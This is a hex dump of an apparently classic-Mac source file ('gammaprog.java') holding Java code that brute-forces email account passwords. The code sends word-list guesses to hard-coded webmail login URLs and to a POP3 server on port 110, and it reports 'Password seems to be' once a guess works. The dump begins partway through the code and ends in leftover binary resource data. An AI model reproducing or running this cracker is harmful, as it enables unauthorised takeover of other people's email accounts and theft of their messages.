|00001010| 74 6d 61 69 6c 2e 63 6f | 6d 22 29 29 0d 09 6c 6f |tmail.co|m"))..lo|
|00001020| 67 69 6e 66 6f 72 6d 20 | 3d 20 6e 65 77 20 55 52 |ginform |= new UR|
|00001030| 4c 28 22 68 74 74 70 3a | 2f 2f 32 30 37 2e 38 32 |L("http:|//207.82|
|00001040| 2e 32 35 30 2e 32 35 31 | 2f 63 67 69 2d 62 69 6e |.250.251|/cgi-bin|
|00001050| 2f 73 74 61 72 74 3f 6c | 6f 67 69 6e 3d 22 20 2b |/start?l|ogin=" +|
|00001060| 20 6c 6f 67 69 6e 20 2b | 20 22 26 70 61 73 73 77 | login +| "&passw|
|00001070| 64 3d 22 20 2b 20 70 61 | 73 73 77 64 29 3b 0d 20 |d=" + pa|sswd);. |
|00001080| 20 20 20 20 20 65 6c 73 | 65 7b 0d 09 6c 6f 67 69 | els|e{..logi|
|00001090| 6e 66 6f 72 6d 20 3d 20 | 6e 65 77 20 55 52 4c 28 |nform = |new URL(|
|000010a0| 22 68 74 74 70 3a 2f 2f | 32 30 34 2e 36 38 2e 32 |"http://|204.68.2|
|000010b0| 34 2e 31 30 30 2f 74 70 | 6c 2f 44 6f 6f 72 2f 4c |4.100/tp|l/Door/L|
|000010c0| 6f 67 69 6e 50 6f 73 74 | 3f 55 73 65 72 49 44 3d |oginPost|?UserID=|
|000010d0| 22 20 2b 20 6c 6f 67 69 | 6e 20 2b 20 22 26 70 61 |" + logi|n + "&pa|
|000010e0| 73 73 77 64 3d 22 20 2b | 20 70 61 73 73 77 64 20 |sswd=" +| passwd |
|000010f0| 2b 20 22 26 4c 6f 67 69 | 6e 53 74 61 74 65 3d 32 |+ "&Logi|nState=2|
|00001100| 26 44 6f 6d 61 69 6e 49 | 44 3d 34 26 53 75 63 63 |&DomainI|D=4&Succ|
|00001110| 65 73 73 66 75 6c 4c 6f | 67 69 6e 3d 2f 74 70 6c |essfulLo|gin=/tpl|
|00001120| 26 4e 65 77 53 65 72 76 | 65 72 4e 61 6d 65 3d 6e |&NewServ|erName=n|
|00001130| 65 74 61 64 64 72 65 73 | 73 2e 75 73 61 2e 6e 65 |etaddres|s.usa.ne|
|00001140| 74 26 50 72 6f 6a 65 63 | 74 3d 6e 65 74 61 64 64 |t&Projec|t=netadd|
|00001150| 72 65 73 73 26 4a 61 76 | 61 53 63 72 69 70 74 3d |ress&Jav|aScript=|
|00001160| 4a 61 76 61 53 63 72 69 | 70 74 31 2e 32 26 4e 41 |JavaScri|pt1.2&NA|
|00001170| 4e 41 73 69 74 65 3d 62 | 65 74 61 73 69 74 65 2e |NAsite=b|etasite.|
|00001180| 6e 65 74 61 64 64 72 65 | 73 73 2e 63 6f 6d 26 4e |netaddre|ss.com&N|
|00001190| 41 4e 41 70 6f 72 74 3d | 38 30 22 29 3b 0d 20 20 |ANAport=|80");. |
|000011a0| 20 20 20 20 7d 0d 0d 20 | 20 20 20 20 20 42 75 66 | }.. | Buf|
|000011b0| 66 65 72 65 64 52 65 61 | 64 65 72 20 77 65 62 72 |feredRea|der webr|
|000011c0| 65 61 64 20 3d 20 6e 65 | 77 20 42 75 66 66 65 72 |ead = ne|w Buffer|
|000011d0| 65 64 52 65 61 64 65 72 | 28 6e 65 77 20 49 6e 70 |edReader|(new Inp|
|000011e0| 75 74 53 74 72 65 61 6d | 52 65 61 64 65 72 28 6c |utStream|Reader(l|
|000011f0| 6f 67 69 6e 66 6f 72 6d | 2e 6f 70 65 6e 53 74 72 |oginform|.openStr|
|00001200| 65 61 6d 28 29 29 29 3b | 0d 0d 20 20 20 20 20 20 |eam()));|.. |
|00001210| 53 74 72 69 6e 67 20 6c | 69 6e 65 20 3d 20 6e 65 |String l|ine = ne|
|00001220| 77 20 53 74 72 69 6e 67 | 28 22 22 29 3b 0d 20 20 |w String|("");. |
|00001230| 20 20 20 20 66 6f 72 28 | 69 6e 74 20 69 3d 30 3b | for(|int i=0;|
|00001240| 69 3c 33 3b 69 2b 2b 29 | 0d 09 6c 69 6e 65 20 3d |i<3;i++)|..line =|
|00001250| 20 77 65 62 72 65 61 64 | 2e 72 65 61 64 4c 69 6e | webread|.readLin|
|00001260| 65 28 29 3b 0d 20 20 20 | 20 20 20 53 79 73 74 65 |e();. | Syste|
|00001270| 6d 2e 6f 75 74 2e 70 72 | 69 6e 74 6c 6e 28 70 61 |m.out.pr|intln(pa|
|00001280| 73 73 77 64 2b 22 20 22 | 2b 20 6c 69 6e 65 29 3b |sswd+" "|+ line);|
|00001290| 0d 20 20 20 20 20 20 0d | 20 20 20 20 20 20 69 66 |. .| if|
|000012a0| 28 61 64 64 72 65 73 73 | 74 79 70 65 2e 65 71 75 |(address|type.equ|
|000012b0| 61 6c 73 28 22 40 68 6f | 74 6d 61 69 6c 2e 63 6f |als("@ho|tmail.co|
|000012c0| 6d 22 29 29 7b 0d 09 69 | 66 28 21 6c 69 6e 65 2e |m")){..i|f(!line.|
|000012d0| 65 71 75 61 6c 73 49 67 | 6e 6f 72 65 43 61 73 65 |equalsIg|noreCase|
|000012e0| 28 22 3c 2f 68 65 61 64 | 3e 22 29 29 7b 0d 09 20 |("</head|>")){.. |
|000012f0| 20 53 79 73 74 65 6d 2e | 6f 75 74 2e 70 72 69 6e | System.|out.prin|
|00001300| 74 6c 6e 28 22 50 61 73 | 73 77 6f 72 64 20 73 65 |tln("Pas|sword se|
|00001310| 65 6d 73 20 74 6f 20 62 | 65 20 22 20 2b 20 70 61 |ems to b|e " + pa|
|00001320| 73 73 77 64 29 3b 0d 09 | 20 20 53 79 73 74 65 6d |sswd);..| System|
|00001330| 2e 65 78 69 74 28 30 29 | 3b 0d 09 7d 0d 20 20 20 |.exit(0)|;..}. |
|00001340| 20 20 20 7d 0d 20 20 20 | 20 20 20 65 6c 73 65 20 | }. | else |
|00001350| 69 66 28 6c 69 6e 65 2e | 63 68 61 72 41 74 28 6c |if(line.|charAt(l|
|00001360| 69 6e 65 2e 6c 65 6e 67 | 74 68 28 29 2d 34 29 3d |ine.leng|th()-4)=|
|00001370| 3d 27 6d 27 29 7b 20 2f | 2f 20 6c 6f 6f 6b 69 6e |='m'){ /|/ lookin|
|00001380| 67 20 66 6f 72 20 74 68 | 65 20 73 74 72 69 6e 67 |g for th|e string|
|00001390| 20 22 77 65 6c 63 6f 6d | 65 22 0d 09 53 79 73 74 | "welcom|e"..Syst|
|000013a0| 65 6d 2e 6f 75 74 2e 70 | 72 69 6e 74 6c 6e 28 22 |em.out.p|rintln("|
|000013b0| 50 61 73 73 77 6f 72 64 | 20 73 65 65 6d 73 20 74 |Password| seems t|
|000013c0| 6f 20 62 65 20 22 20 2b | 20 70 61 73 73 77 64 29 |o be " +| passwd)|
|000013d0| 3b 0d 09 53 79 73 74 65 | 6d 2e 65 78 69 74 28 30 |;..Syste|m.exit(0|
|000013e0| 29 3b 0d 20 20 20 20 20 | 20 7d 0d 20 20 20 20 20 |);. | }. |
|000013f0| 20 2f 2f 20 77 68 69 6c | 65 28 28 6c 69 6e 65 20 | // whil|e((line |
|00001400| 3d 20 77 65 62 72 65 61 | 64 2e 72 65 61 64 4c 69 |= webrea|d.readLi|
|00001410| 6e 65 28 29 29 20 21 3d | 20 6e 75 6c 6c 29 3b 0d |ne()) !=| null);.|
|00001420| 20 20 20 20 20 20 77 65 | 62 72 65 61 64 2e 63 6c | we|bread.cl|
|00001430| 6f 73 65 28 29 3b 0d 20 | 20 20 20 7d 0d 20 20 20 |ose();. | }. |
|00001440| 20 0d 20 20 20 20 63 61 | 74 63 68 28 49 4f 45 78 | . ca|tch(IOEx|
|00001450| 63 65 70 74 69 6f 6e 20 | 65 78 29 7b 0d 20 20 20 |ception |ex){. |
|00001460| 20 20 20 53 79 73 74 65 | 6d 2e 6f 75 74 2e 70 72 | Syste|m.out.pr|
|00001470| 69 6e 74 6c 6e 28 22 49 | 4f 45 78 63 65 70 74 69 |intln("I|OExcepti|
|00001480| 6f 6e 20 69 6e 20 54 68 | 72 65 61 64 73 6f 63 6b |on in Th|readsock|
|00001490| 65 74 22 29 3b 0d 20 20 | 20 20 7d 0d 0d 20 20 7d |et");. | }.. }|
|000014a0| 0d 7d 0d 0d 63 6c 61 73 | 73 20 50 6f 70 73 6f 63 |.}..clas|s Popsoc|
|000014b0| 6b 65 74 20 65 78 74 65 | 6e 64 73 20 54 68 72 65 |ket exte|nds Thre|
|000014c0| 61 64 7b 0d 0d 20 20 53 | 74 72 69 6e 67 20 70 61 |ad{.. S|tring pa|
|000014d0| 73 73 77 64 20 3d 20 6e | 65 77 20 53 74 72 69 6e |sswd = n|ew Strin|
|000014e0| 67 28 22 22 29 3b 0d 20 | 20 42 75 66 66 65 72 65 |g("");. | Buffere|
|000014f0| 64 52 65 61 64 65 72 20 | 65 6e 74 72 65 65 3b 0d |dReader |entree;.|
|00001500| 20 20 53 74 72 69 6e 67 | 20 6c 6f 67 69 6e 3b 0d | String| login;.|
|00001510| 20 20 53 74 72 69 6e 67 | 20 61 64 64 72 65 73 73 | String| address|
|00001520| 74 79 70 65 3b 0d 20 20 | 62 6f 6f 6c 65 61 6e 20 |type;. |boolean |
|00001530| 6f 6b 20 3d 20 74 72 75 | 65 3b 0d 20 20 62 6f 6f |ok = tru|e;. boo|
|00001540| 6c 65 61 6e 20 64 6f 6e | 65 20 3d 20 66 61 6c 73 |lean don|e = fals|
|00001550| 65 3b 0d 20 20 62 6f 6f | 6c 65 61 6e 20 76 65 72 |e;. boo|lean ver|
|00001560| 62 6f 73 65 3b 0d 0d 0d | 20 20 70 75 62 6c 69 63 |bose;...| public|
|00001570| 20 50 6f 70 73 6f 63 6b | 65 74 28 53 74 72 69 6e | Popsock|et(Strin|
|00001580| 67 20 6c 6f 67 69 6e 6e | 61 6d 65 2c 20 53 74 72 |g loginn|ame, Str|
|00001590| 69 6e 67 20 61 64 64 72 | 65 73 73 2c 20 42 75 66 |ing addr|ess, Buf|
|000015a0| 66 65 72 65 64 52 65 61 | 64 65 72 20 72 65 61 64 |feredRea|der read|
|000015b0| 65 72 6e 61 6d 65 2c 20 | 62 6f 6f 6c 65 61 6e 20 |ername, |boolean |
|000015c0| 76 65 72 62 29 7b 0d 20 | 20 20 20 73 75 70 65 72 |verb){. | super|
|000015d0| 28 29 3b 0d 20 20 20 20 | 65 6e 74 72 65 65 20 3d |();. |entree =|
|000015e0| 20 72 65 61 64 65 72 6e | 61 6d 65 3b 0d 20 20 20 | readern|ame;. |
|000015f0| 20 6c 6f 67 69 6e 20 3d | 20 6c 6f 67 69 6e 6e 61 | login =| loginna|
|00001600| 6d 65 3b 0d 20 20 20 20 | 61 64 64 72 65 73 73 74 |me;. |addresst|
|00001610| 79 70 65 20 3d 20 61 64 | 64 72 65 73 73 3b 0d 20 |ype = ad|dress;. |
|00001620| 20 20 20 76 65 72 62 6f | 73 65 20 3d 20 76 65 72 | verbo|se = ver|
|00001630| 62 3b 0d 20 20 7d 0d 0d | 20 20 70 75 62 6c 69 63 |b;. }..| public|
|00001640| 20 76 6f 69 64 20 72 75 | 6e 28 29 7b 0d 0d 20 20 | void ru|n(){.. |
|00001650| 20 20 53 74 72 69 6e 67 | 20 6c 69 6e 65 20 3d 20 | String| line = |
|00001660| 6e 65 77 20 53 74 72 69 | 6e 67 28 22 22 29 3b 0d |new Stri|ng("");.|
|00001670| 20 20 20 20 66 6f 72 28 | 3b 3b 29 7b 0d 20 20 20 | for(|;;){. |
|00001680| 20 20 20 69 66 28 64 6f | 6e 65 29 0d 09 62 72 65 | if(do|ne)..bre|
|00001690| 61 6b 3b 0d 20 20 20 20 | 20 20 74 72 79 7b 0d 09 |ak;. | try{..|
|000016a0| 53 6f 63 6b 65 74 20 73 | 6f 63 6b 65 74 20 3d 20 |Socket s|ocket = |
|000016b0| 6e 65 77 20 53 6f 63 6b | 65 74 28 22 32 30 37 2e |new Sock|et("207.|
|000016c0| 38 32 2e 32 35 30 2e 32 | 35 31 22 2c 20 31 31 30 |82.250.2|51", 110|
|000016d0| 29 3b 0d 09 2f 2f 20 73 | 6f 63 6b 65 74 2e 73 65 |);..// s|ocket.se|
|000016e0| 74 53 6f 54 69 6d 65 6f | 75 74 28 33 30 30 30 30 |tSoTimeo|ut(30000|
|000016f0| 29 3b 0d 09 0d 09 42 75 | 66 66 65 72 65 64 52 65 |);....Bu|fferedRe|
|00001700| 61 64 65 72 20 70 6f 70 | 72 65 61 64 20 3d 20 6e |ader pop|read = n|
|00001710| 65 77 20 42 75 66 66 65 | 72 65 64 52 65 61 64 65 |ew Buffe|redReade|
|00001720| 72 28 6e 65 77 20 49 6e | 70 75 74 53 74 72 65 61 |r(new In|putStrea|
|00001730| 6d 52 65 61 64 65 72 28 | 73 6f 63 6b 65 74 2e 67 |mReader(|socket.g|
|00001740| 65 74 49 6e 70 75 74 53 | 74 72 65 61 6d 28 29 29 |etInputS|tream())|
|00001750| 29 3b 0d 09 50 72 69 6e | 74 57 72 69 74 65 72 20 |);..Prin|tWriter |
|00001760| 70 6f 70 77 72 69 74 65 | 20 3d 20 6e 65 77 20 50 |popwrite| = new P|
|00001770| 72 69 6e 74 57 72 69 74 | 65 72 28 73 6f 63 6b 65 |rintWrit|er(socke|
|00001780| 74 2e 67 65 74 4f 75 74 | 70 75 74 53 74 72 65 61 |t.getOut|putStrea|
|00001790| 6d 28 29 2c 20 74 72 75 | 65 29 3b 0d 20 20 20 20 |m(), tru|e);. |
|000017a0| 20 20 0d 09 70 6f 70 72 | 65 61 64 2e 72 65 61 64 | ..popr|ead.read|
|000017b0| 4c 69 6e 65 28 29 3b 0d | 09 66 6f 72 28 3b 3b 29 |Line();.|.for(;;)|
|000017c0| 7b 0d 09 20 20 74 72 79 | 7b 0d 09 20 20 20 20 69 |{.. try|{.. i|
|000017d0| 66 28 6f 6b 29 0d 09 20 | 20 20 20 20 20 70 61 73 |f(ok).. | pas|
|000017e0| 73 77 64 20 3d 20 65 6e | 74 72 65 65 2e 72 65 61 |swd = en|tree.rea|
|000017f0| 64 4c 69 6e 65 28 29 3b | 0d 09 20 20 20 20 6f 6b |dLine();|.. ok|
|00001800| 3d 74 72 75 65 3b 0d 09 | 20 20 20 20 69 66 28 70 |=true;..| if(p|
|00001810| 61 73 73 77 64 3d 3d 6e | 75 6c 6c 29 7b 0d 09 20 |asswd==n|ull){.. |
|00001820| 20 20 20 20 20 64 6f 6e | 65 20 3d 20 74 72 75 65 | don|e = true|
|00001830| 3b 0d 09 20 20 20 20 20 | 20 62 72 65 61 6b 3b 0d |;.. | break;.|
|00001840| 09 20 20 20 20 7d 0d 09 | 20 20 20 20 70 6f 70 77 |. }..| popw|
|00001850| 72 69 74 65 2e 70 72 69 | 6e 74 6c 6e 28 22 75 73 |rite.pri|ntln("us|
|00001860| 65 72 20 22 20 2b 20 6c | 6f 67 69 6e 29 3b 0d 09 |er " + l|ogin);..|
|00001870| 20 20 20 20 70 6f 70 72 | 65 61 64 2e 72 65 61 64 | popr|ead.read|
|00001880| 4c 69 6e 65 28 29 3b 0d | 09 20 20 20 20 70 6f 70 |Line();.|. pop|
|00001890| 77 72 69 74 65 2e 70 72 | 69 6e 74 6c 6e 28 22 70 |write.pr|intln("p|
|000018a0| 61 73 73 20 22 20 2b 20 | 70 61 73 73 77 64 29 3b |ass " + |passwd);|
|000018b0| 0d 09 20 20 20 20 6c 69 | 6e 65 20 3d 20 70 6f 70 |.. li|ne = pop|
|000018c0| 72 65 61 64 2e 72 65 61 | 64 4c 69 6e 65 28 29 3b |read.rea|dLine();|
|000018d0| 0d 09 20 20 20 20 69 66 | 28 76 65 72 62 6f 73 65 |.. if|(verbose|
|000018e0| 29 0d 09 20 20 20 20 20 | 20 53 79 73 74 65 6d 2e |).. | System.|
|000018f0| 6f 75 74 2e 70 72 69 6e | 74 6c 6e 28 70 61 73 73 |out.prin|tln(pass|
|00001900| 77 64 20 2b 20 22 20 22 | 20 2b 20 6c 69 6e 65 29 |wd + " "| + line)|
|00001910| 3b 0d 09 20 20 20 20 69 | 66 28 6c 69 6e 65 3d 3d |;.. i|f(line==|
|00001920| 6e 75 6c 6c 29 7b 0d 09 | 20 20 20 20 20 20 53 79 |null){..| Sy|
|00001930| 73 74 65 6d 2e 6f 75 74 | 2e 70 72 69 6e 74 6c 6e |stem.out|.println|
|00001940| 28 22 45 4f 46 20 52 65 | 63 65 69 76 65 64 2e 20 |("EOF Re|ceived. |
|00001950| 5c 6e 52 65 73 74 61 72 | 74 69 6e 67 20 73 6f 63 |\nRestar|ting soc|
|00001960| 6b 65 74 2e 22 29 3b 0d | 09 20 20 20 20 20 20 6f |ket.");.|. o|
|00001970| 6b 20 3d 20 66 61 6c 73 | 65 3b 0d 09 20 20 20 20 |k = fals|e;.. |
|00001980| 20 20 62 72 65 61 6b 3b | 0d 09 20 20 20 20 7d 0d | break;|.. }.|
|00001990| 09 20 20 20 20 69 66 28 | 6c 69 6e 65 2e 63 68 61 |. if(|line.cha|
|000019a0| 72 41 74 28 30 29 3d 3d | 27 2b 27 29 7b 20 2f 2f |rAt(0)==|'+'){ //|
|000019b0| 20 6c 6f 6f 6b 69 6e 67 | 20 66 6f 72 20 22 2b 4f | looking| for "+O|
|000019c0| 4b 20 2e 2e 2e 20 22 0d | 09 20 20 20 20 20 20 69 |K ... ".|. i|
|000019d0| 66 28 21 76 65 72 62 6f | 73 65 29 0d 09 09 53 79 |f(!verbo|se)...Sy|
|000019e0| 73 74 65 6d 2e 6f 75 74 | 2e 70 72 69 6e 74 6c 6e |stem.out|.println|
|000019f0| 28 70 61 73 73 77 64 20 | 2b 20 22 20 22 20 2b 20 |(passwd |+ " " + |
|00001a00| 6c 69 6e 65 29 3b 0d 09 | 20 20 20 20 20 20 53 79 |line);..| Sy|
|00001a10| 73 74 65 6d 2e 6f 75 74 | 2e 70 72 69 6e 74 6c 6e |stem.out|.println|
|00001a20| 28 22 50 61 73 73 77 6f | 72 64 20 73 65 65 6d 73 |("Passwo|rd seems|
|00001a30| 20 74 6f 20 62 65 20 22 | 20 2b 20 70 61 73 73 77 | to be "| + passw|
|00001a40| 64 29 3b 0d 09 20 20 20 | 20 20 20 53 79 73 74 65 |d);.. | Syste|
|00001a50| 6d 2e 65 78 69 74 28 30 | 29 3b 0d 09 20 20 20 20 |m.exit(0|);.. |
|00001a60| 7d 0d 09 20 20 7d 0d 09 | 20 20 63 61 74 63 68 28 |}.. }..| catch(|
|00001a70| 49 4f 45 78 63 65 70 74 | 69 6f 6e 20 65 78 29 7b |IOExcept|ion ex){|
|00001a80| 0d 09 20 20 20 20 53 79 | 73 74 65 6d 2e 65 72 72 |.. Sy|stem.err|
|00001a90| 2e 70 72 69 6e 74 6c 6e | 28 22 49 4f 45 78 63 65 |.println|("IOExce|
|00001aa0| 70 74 69 6f 6e 20 69 6e | 20 70 6f 70 73 6f 63 6b |ption in| popsock|
|00001ab0| 65 74 20 66 6f 72 20 6c | 6f 6f 70 22 29 3b 0d 09 |et for l|oop");..|
|00001ac0| 20 20 20 20 6f 6b 20 3d | 20 66 61 6c 73 65 3b 0d | ok =| false;.|
|00001ad0| 09 20 20 7d 0d 09 7d 0d | 20 20 20 20 20 20 70 6f |. }..}.| po|
|00001ae0| 70 72 65 61 64 2e 63 6c | 6f 73 65 28 29 3b 0d 20 |pread.cl|ose();. |
|00001af0| 20 20 20 20 20 70 6f 70 | 77 72 69 74 65 2e 63 6c | pop|write.cl|
|00001b00| 6f 73 65 28 29 3b 0d 20 | 20 20 20 20 20 73 6f 63 |ose();. | soc|
|00001b10| 6b 65 74 2e 63 6c 6f 73 | 65 28 29 3b 0d 20 20 20 |ket.clos|e();. |
|00001b20| 20 20 20 7d 0d 20 20 20 | 20 20 20 63 61 74 63 68 | }. | catch|
|00001b30| 28 49 4f 45 78 63 65 70 | 74 69 6f 6e 20 65 78 29 |(IOExcep|tion ex)|
|00001b40| 7b 0d 09 53 79 73 74 65 | 6d 2e 6f 75 74 2e 70 72 |{..Syste|m.out.pr|
|00001b50| 69 6e 74 6c 6e 28 22 49 | 4f 45 78 63 65 70 74 69 |intln("I|OExcepti|
|00001b60| 6f 6e 20 63 72 65 61 74 | 69 6e 67 20 70 6f 70 73 |on creat|ing pops|
|00001b70| 6f 63 6b 65 74 22 29 3b | 0d 09 73 74 6f 70 28 29 |ocket");|..stop()|
|00001b80| 3b 0d 20 20 20 20 20 20 | 7d 0d 20 20 20 20 7d 0d |;. |}. }.|
|00001b90| 0d 20 20 20 20 2f 2a 0d | 20 20 20 20 20 20 54 68 |. /*.| Th|
|00001ba0| 69 73 20 73 6c 65 65 70 | 20 74 69 6d 65 20 69 73 |is sleep| time is|
|00001bb0| 20 74 6f 20 6c 65 74 20 | 74 68 65 20 6f 74 68 65 | to let |the othe|
|00001bc0| 72 20 74 68 72 65 61 64 | 73 20 66 69 6e 69 73 68 |r thread|s finish|
|00001bd0| 2e 0d 20 20 20 20 20 20 | 4e 6f 74 68 69 6e 67 20 |.. |Nothing |
|00001be0| 70 72 6f 76 65 73 20 74 | 68 65 79 27 6c 6c 20 68 |proves t|hey'll h|
|00001bf0| 61 76 65 20 65 6e 6f 75 | 67 68 20 74 69 6d 65 20 |ave enou|gh time |
|00001c00| 74 6f 20 64 6f 20 69 74 | 20 68 6f 77 65 76 65 72 |to do it| however|
|00001c10| 2e 2e 2e 0d 20 20 20 20 | 20 20 0d 20 20 20 20 2a |.... | . *|
|00001c20| 2f 0d 20 20 20 20 74 72 | 79 7b 0d 20 20 20 20 20 |/. tr|y{. |
|00001c30| 20 73 6c 65 65 70 28 31 | 30 30 30 30 29 3b 0d 20 | sleep(1|0000);. |
|00001c40| 20 20 20 7d 0d 20 20 20 | 20 63 61 74 63 68 28 49 | }. | catch(I|
|00001c50| 6e 74 65 72 72 75 70 74 | 65 64 45 78 63 65 70 74 |nterrupt|edExcept|
|00001c60| 69 6f 6e 20 65 78 29 7b | 0d 20 20 20 20 7d 0d 20 |ion ex){|. }. |
|00001c70| 20 20 20 53 79 73 74 65 | 6d 2e 6f 75 74 2e 70 72 | Syste|m.out.pr|
|00001c80| 69 6e 74 6c 6e 28 22 5c | 6e 50 61 73 73 77 6f 72 |intln("\|nPasswor|
|00001c90| 64 20 6e 6f 74 20 66 6f | 75 6e 64 2e 5c 6e 22 29 |d not fo|und.\n")|
|00001ca0| 3b 0d 20 20 20 20 53 79 | 73 74 65 6d 2e 65 78 69 |;. Sy|stem.exi|
|00001cb0| 74 28 30 29 3b 0d 20 20 | 7d 0d 7d 0d 0d 0d 0d 0d |t(0);. |}.}.....|
|00001cc0| 0d 0d 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001cd0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001ce0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001cf0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001d00| 00 00 01 00 00 00 01 5a | 00 00 00 5a 00 00 00 52 |.......Z|...Z...R|
|00001d10| 69 6c 20 61 6e 64 20 63 | 72 69 6d 69 6e 61 6c 20 |il and c|riminal |
|00001d20| 70 65 6e 61 6c 74 69 65 | 73 2c 20 61 6e 64 20 77 |penaltie|s, and w|
|00001d30| 0e 67 61 6d 6d 61 70 72 | 6f 67 2e 6a 61 76 61 67 |.gammapr|og.javag|
|00001d40| 02 00 00 00 54 45 58 54 | 43 57 49 45 01 00 00 34 |....TEXT|CWIE...4|
|00001d50| 00 00 54 45 58 54 43 57 | 49 45 01 00 00 34 00 80 |..TEXTCW|IE...4..|
|00001d60| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001d70| 00 00 b1 ea 12 a9 00 00 | 1c 42 00 00 01 ac 00 00 |........|.B......|
|00001d80| 00 00 90 00 4e 00 cc 01 | 42 80 00 00 00 00 00 00 |....N...|B.......|
|00001d90| d6 00 01 00 db 01 7d 80 | 00 00 00 01 aa 00 00 00 |......}.|........|
|00001da0| 00 01 aa 00 02 00 00 04 | 52 61 79 20 00 00 00 00 |........|Ray ....|
|00001db0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001dc0| 00 00 00 b1 a1 df a1 42 | 44 00 00 00 00 0f 2b 14 |.......B|D.....+.|
|00001dd0| 4d 69 63 72 6f 73 6f 66 | 74 20 50 6f 77 65 72 50 |Microsof|t PowerP|
|00001de0| 6f 69 6e 74 00 00 00 00 | 00 00 00 00 00 00 00 00 |oint....|........|
|00001df0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001e00| 00 00 00 48 00 09 4d 6f | 6e 61 63 6f 00 00 00 00 |...H..Mo|naco....|
|00001e10| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001e20| 00 00 00 00 00 00 00 03 | 00 04 00 28 00 0a 01 c2 |........|...(....|
|00001e30| 02 80 00 28 00 0a 01 c2 | 02 80 a9 76 da c0 00 00 |...(....|...v....|
|00001e40| 00 00 00 00 00 00 00 00 | 1a 55 01 00 00 00 00 02 |........|.U......|
|00001e50| 00 00 00 00 00 04 00 01 | 00 01 00 00 01 00 00 00 |........|........|
|00001e60| 01 5a 00 00 00 5a 00 00 | 00 52 02 57 df c8 3e 10 |.Z...Z..|.R.W..>.|
|00001e70| 00 00 00 1c 00 52 00 01 | 4d 50 53 52 00 01 00 12 |.....R..|MPSR....|
|00001e80| 4d 57 42 42 00 00 00 2a | 03 ed ff ff 00 00 00 00 |MWBB...*|........|
|00001e90| 00 00 00 00 03 ef ff ff | 00 00 00 4c 00 00 00 00 |........|...L....|
|00001ea0| 03 f0 ff ff 00 00 00 52 | 00 00 00 00 00 00 00 00 |.......R|........|
|00001eb0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001ec0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001ed0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001ee0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00001ef0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
+--------+-------------------------+-------------------------+--------+--------+